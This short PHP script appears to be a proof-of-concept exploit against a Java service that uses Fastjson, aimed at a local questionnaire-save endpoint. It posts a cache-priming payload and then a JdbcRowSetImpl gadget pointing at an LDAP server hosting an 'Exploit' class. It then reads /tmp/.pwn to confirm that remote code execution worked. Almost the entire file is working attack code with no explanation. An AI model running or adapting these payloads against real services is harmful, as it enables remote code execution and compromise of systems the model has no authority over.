<?php
function postIt($payload) {
  $f = fsockopen("127.0.0.1", 10083, $e, $s, 5);
  if (!$f) { echo "CONNFAIL\n"; return; }
  $body = "order=" . $payload;
  $req = "POST /api/v1/questionnaire/save HTTP/1.1\r\n"
       . "Host: x\r\n"
       . "Content-Type: application/x-www-form-urlencoded\r\n"
       . "Content-Length: " . strlen($body) . "\r\n"
       . "Connection: close\r\n\r\n"
       . $body;
  fwrite($f, $req);
  stream_set_timeout($f, 8);
  $d = "";
  while (!feof($f)) { $d .= fread($f, 2048); }
  fclose($f);
  echo substr($d, 0, 400) . "\n";
}
postIt('{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}');
sleep(1);
postIt('{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}');
sleep(2);
echo "PWN: " . @file_get_contents("/tmp/.pwn") . "\n";